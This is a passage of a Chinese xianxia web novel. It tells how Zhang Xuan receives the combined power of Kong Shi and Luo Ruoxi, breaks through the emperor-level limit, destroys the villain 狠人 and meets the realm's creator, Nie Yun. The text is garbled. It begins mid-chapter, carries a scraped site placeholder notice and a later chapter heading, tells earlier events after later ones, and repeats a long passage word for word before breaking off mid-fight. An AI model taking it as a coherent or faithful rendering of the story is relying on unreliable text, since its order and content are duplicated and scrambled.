“我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第95章 九原解围天下惊 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 